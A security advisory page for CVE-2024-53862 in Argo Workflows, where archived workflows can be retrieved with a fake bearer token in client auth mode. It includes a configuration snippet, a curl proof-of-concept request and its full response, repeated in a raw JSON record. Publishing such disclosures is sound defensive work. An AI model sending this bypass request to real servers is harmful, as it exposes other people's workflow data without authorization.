GHSA-H36C-M3RF-34H9
Vulnerability from github – Published: 2024-12-02 22:17 – Updated: 2024-12-02 22:17
VLAI?
Summary
Access to Archived Argo Workflows with Fake Token in `client` mode
Details
Summary
When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}
When using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}
Details
No authentication is performed by the Server itself on client tokens[^1]. Authentication & authorization is instead delegated to the k8s API server.
However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods.
In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token.
PoC
Configuration
Controller ConfigMap:
config: |
persistence:
archive: true
postgresql:
database: argoworkflows
host: db-host
passwordSecret:
key: postgresPassword
name: argo-wf-postgres-credentials
port: 5432
tableName: argo_workflows
userNameSecret:
key: username
name: argo-wf-postgres-credentials
Server: --auth-mode=client
Reproduction
Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.
For example, directly query the API and retrieve the workflow data (where Bearer thisisatest is not a valid token):
curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g
* Host localhost:8000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
* Trying [::1]:8000...
* Connected to localhost (::1) port 8000
> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.7.1
> Accept: */*
> Authorization: Bearer thisisatest
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: application/json
< Grpc-Metadata-Content-Type: application/grpc
< X-Ratelimit-Limit: 1000
< X-Ratelimit-Remaining: 999
< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC
< Date: Mon, 19 Aug 2024 20:44:26 GMT
< Transfer-Encoding: chunked
<
* Connection #0 to host localhost left intact
{
"metadata": {
"name": "hello-world-7tv5g",
"generateName": "hello-world-",
"namespace": "argo",
"uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4",
"resourceVersion": "9982",
"generation": 3,
"creationTimestamp": "2024-08-13T23:59:20Z",
"labels": {
"workflows.argoproj.io/archive-strategy": "false",
"workflows.argoproj.io/completed": "true",
"workflows.argoproj.io/phase": "Succeeded",
"workflows.argoproj.io/workflow-archiving-status": "Persisted"
},
"annotations": {
"workflows.argoproj.io/description": "This is a simple hello world example.\n",
"workflows.argoproj.io/pod-name-format": "v2"
},
"managedFields": [
{
"manager": "argo",
"operation": "Update",
"apiVersion": "argoproj.io/v1alpha1",
"time": "2024-08-13T23:59:20Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:metadata": {
"f:annotations": {
".": {},
"f:workflows.argoproj.io/description": {}
},
"f:generateName": {},
"f:labels": {
".": {},
"f:workflows.argoproj.io/archive-strategy": {}
}
},
"f:spec": {}
}
},
{
"manager": "workflow-controller",
"operation": "Update",
"apiVersion": "argoproj.io/v1alpha1",
"time": "2024-08-13T23:59:30Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:metadata": {
"f:annotations": {
"f:workflows.argoproj.io/pod-name-format": {}
},
"f:labels": {
"f:workflows.argoproj.io/completed": {},
"f:workflows.argoproj.io/phase": {},
"f:workflows.argoproj.io/workflow-archiving-status": {}
}
},
"f:status": {}
}
}
]
},
"spec": {
"templates": [
{
"name": "hello-world",
"inputs": {},
"outputs": {},
"metadata": {},
"container": {
"name": "",
"image": "busybox",
"command": [
"echo"
],
"args": [
"hello world"
],
"resources": {}
}
}
],
"entrypoint": "hello-world",
"arguments": {},
"serviceAccountName": "argo-workflow"
},
"status": {
"phase": "Succeeded",
"startedAt": "2024-08-13T23:59:20Z",
"finishedAt": "2024-08-13T23:59:30Z",
"progress": "1/1",
"nodes": {
"hello-world-7tv5g": {
"id": "hello-world-7tv5g",
"name": "hello-world-7tv5g",
"displayName": "hello-world-7tv5g",
"type": "Pod",
"templateName": "hello-world",
"templateScope": "local/hello-world-7tv5g",
"phase": "Succeeded",
"startedAt": "2024-08-13T23:59:20Z",
"finishedAt": "2024-08-13T23:59:24Z",
"progress": "1/1",
"resourcesDuration": {
"cpu": 0,
"memory": 3
},
"outputs": {
"exitCode": "0"
},
"hostNodeName": "kind-control-plane"
}
},
"conditions": [
{
"type": "PodRunning",
"status": "False"
},
{
"type": "Completed",
"status": "True"
}
],
"resourcesDuration": {
"cpu": 0,
"memory": 3
},
"artifactRepositoryRef": {
"default": true,
"artifactRepository": {}
},
"artifactGCStatus": {
"notSpecified": true
},
"taskResultsCompletionStatus": {
"hello-world-7tv5g": true
}
}
}%
Impact
Users of the Server with --auth-mode=client and with persistence.archive: true are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.
Users of the Server with --auth-mode=sso and with persistence.archive: true are vulnerable to users being able to access workflows they could not access before archiving.
[^1]: sso tokens, on the other hand, are immediately "authorized". The naming in the codebase is a bit confusing; it would be more appropriate to say "authenticated" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the client tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for client tokens via the k8s API server.
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.5.7"
},
{
"fixed": "3.5.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.6.0"
},
{
"fixed": "3.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-53862"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-02T22:17:55Z",
"nvd_published_at": "2024-12-02T16:15:14Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen using `--auth-mode=client`, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`\n\nWhen using `--auth-mode=sso`, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`\n\n### Details\n\nNo authentication is performed by the Server itself on `client` tokens[^1]. Authentication \u0026 authorization is instead delegated to the k8s API server.\nHowever, the [Workflow Archive](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go) does not interact with k8s, and so any token that [_looks_](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/mode.go#L37) [valid](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L185) will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does [the equivalent of a `kubectl auth can-i`](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go#L50) check for respective methods.\n\nIn #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint\u0027s fallback to archived workflows on [these lines](https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715), allowing archived workflows to be retrieved with a fake token.\n\n### PoC\n\n#### Configuration\n\nController `ConfigMap`:\n```yaml\n config: |\n persistence:\n archive: true\n postgresql:\n database: argoworkflows\n host: db-host\n passwordSecret:\n key: postgresPassword\n name: argo-wf-postgres-credentials\n port: 5432\n tableName: argo_workflows\n userNameSecret:\n key: username\n name: argo-wf-postgres-credentials\n```\n\nServer: `--auth-mode=client`\n\n#### Reproduction\n\nVisit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.\n\nFor example, directly query the API and retrieve the workflow data (where `Bearer thisisatest` is not a valid token):\n\n```sh\ncurl -H \u0027Authorization: Bearer thisisatest\u0027 -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g\n```\n\n\u003cdetails\u003e\u003csummary\u003eResults in a returned workflow:\u003c/summary\u003e\n\n```\n* Host localhost:8000 was resolved.\n* IPv6: ::1\n* IPv4: 127.0.0.1\n* Trying [::1]:8000...\n* Connected to localhost (::1) port 8000\n\u003e GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1\n\u003e Host: localhost:8000\n\u003e User-Agent: curl/8.7.1\n\u003e Accept: */*\n\u003e Authorization: Bearer thisisatest\n\u003e\n* Request completely sent off\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Grpc-Metadata-Content-Type: application/grpc\n\u003c X-Ratelimit-Limit: 1000\n\u003c X-Ratelimit-Remaining: 999\n\u003c X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC\n\u003c Date: Mon, 19 Aug 2024 20:44:26 GMT\n\u003c Transfer-Encoding: chunked\n\u003c\n* Connection #0 to host localhost left intact\n{\n \"metadata\": {\n \"name\": \"hello-world-7tv5g\",\n \"generateName\": \"hello-world-\",\n \"namespace\": \"argo\",\n \"uid\": \"e5868ab1-f820-4a9e-9407-162346a4ccb4\",\n \"resourceVersion\": \"9982\",\n \"generation\": 3,\n \"creationTimestamp\": \"2024-08-13T23:59:20Z\",\n \"labels\": {\n \"workflows.argoproj.io/archive-strategy\": \"false\",\n \"workflows.argoproj.io/completed\": \"true\",\n \"workflows.argoproj.io/phase\": \"Succeeded\",\n \"workflows.argoproj.io/workflow-archiving-status\": \"Persisted\"\n },\n \"annotations\": {\n \"workflows.argoproj.io/description\": \"This is a simple hello world example.\\n\",\n \"workflows.argoproj.io/pod-name-format\": \"v2\"\n },\n \"managedFields\": [\n {\n \"manager\": \"argo\",\n \"operation\": \"Update\",\n \"apiVersion\": \"argoproj.io/v1alpha1\",\n \"time\": \"2024-08-13T23:59:20Z\",\n \"fieldsType\": \"FieldsV1\",\n \"fieldsV1\": {\n \"f:metadata\": {\n \"f:annotations\": {\n \".\": {},\n \"f:workflows.argoproj.io/description\": {}\n },\n \"f:generateName\": {},\n \"f:labels\": {\n \".\": {},\n \"f:workflows.argoproj.io/archive-strategy\": {}\n }\n },\n \"f:spec\": {}\n }\n },\n {\n \"manager\": \"workflow-controller\",\n \"operation\": \"Update\",\n \"apiVersion\": \"argoproj.io/v1alpha1\",\n \"time\": \"2024-08-13T23:59:30Z\",\n \"fieldsType\": \"FieldsV1\",\n \"fieldsV1\": {\n \"f:metadata\": {\n \"f:annotations\": {\n \"f:workflows.argoproj.io/pod-name-format\": {}\n },\n \"f:labels\": {\n \"f:workflows.argoproj.io/completed\": {},\n \"f:workflows.argoproj.io/phase\": {},\n \"f:workflows.argoproj.io/workflow-archiving-status\": {}\n }\n },\n \"f:status\": {}\n }\n }\n ]\n },\n \"spec\": {\n \"templates\": [\n {\n \"name\": \"hello-world\",\n \"inputs\": {},\n \"outputs\": {},\n \"metadata\": {},\n \"container\": {\n \"name\": \"\",\n \"image\": \"busybox\",\n \"command\": [\n \"echo\"\n ],\n \"args\": [\n \"hello world\"\n ],\n \"resources\": {}\n }\n }\n ],\n \"entrypoint\": \"hello-world\",\n \"arguments\": {},\n \"serviceAccountName\": \"argo-workflow\"\n },\n \"status\": {\n \"phase\": \"Succeeded\",\n \"startedAt\": \"2024-08-13T23:59:20Z\",\n \"finishedAt\": \"2024-08-13T23:59:30Z\",\n \"progress\": \"1/1\",\n \"nodes\": {\n \"hello-world-7tv5g\": {\n \"id\": \"hello-world-7tv5g\",\n \"name\": \"hello-world-7tv5g\",\n \"displayName\": \"hello-world-7tv5g\",\n \"type\": \"Pod\",\n \"templateName\": \"hello-world\",\n \"templateScope\": \"local/hello-world-7tv5g\",\n \"phase\": \"Succeeded\",\n \"startedAt\": \"2024-08-13T23:59:20Z\",\n \"finishedAt\": \"2024-08-13T23:59:24Z\",\n \"progress\": \"1/1\",\n \"resourcesDuration\": {\n \"cpu\": 0,\n \"memory\": 3\n },\n \"outputs\": {\n \"exitCode\": \"0\"\n },\n \"hostNodeName\": \"kind-control-plane\"\n }\n },\n \"conditions\": [\n {\n \"type\": \"PodRunning\",\n \"status\": \"False\"\n },\n {\n \"type\": \"Completed\",\n \"status\": \"True\"\n }\n ],\n \"resourcesDuration\": {\n \"cpu\": 0,\n \"memory\": 3\n },\n \"artifactRepositoryRef\": {\n \"default\": true,\n \"artifactRepository\": {}\n },\n \"artifactGCStatus\": {\n \"notSpecified\": true\n },\n \"taskResultsCompletionStatus\": {\n \"hello-world-7tv5g\": true\n }\n }\n}%\n```\n\n\u003c/details\u003e\n\n\n### Impact\n\nUsers of the Server with `--auth-mode=client` and with `persistence.archive: true` are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.\n\nUsers of the Server with `--auth-mode=sso` and with `persistence.archive: true` are vulnerable to users being able to access workflows they could not access before archiving.\n\n[^1]: `sso` tokens, on the other hand, are [immediately \"authorized\"](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L207). The naming in the codebase is a bit confusing; it would be more appropriate to say \"authenticated\" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the `client` tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for `client` tokens via the k8s API server.",
"id": "GHSA-h36c-m3rf-34h9",
"modified": "2024-12-02T22:17:55Z",
"published": "2024-12-02T22:17:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-h36c-m3rf-34h9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53862"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-workflows"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Access to Archived Argo Workflows with Fake Token in `client` mode"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…